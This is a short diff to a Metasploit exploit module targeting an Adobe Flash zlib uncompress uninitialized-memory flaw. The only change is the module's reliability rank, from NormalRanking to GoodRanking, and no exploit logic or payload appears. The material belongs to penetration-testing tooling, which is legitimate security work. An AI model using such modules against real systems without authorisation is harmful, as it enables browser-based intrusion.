a/modules/exploits/windows/browser/adobe_flash_uncompress_zlib_uninitialized.rb +++ b/modules/exploits/windows/browser/adobe_flash_uncompress_zlib_uninitialized.rb @@ -6,7 +6,7 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote - Rank = NormalRanking + Rank = GoodRanking include Msf::Exploit::Remote::BrowserExploitServer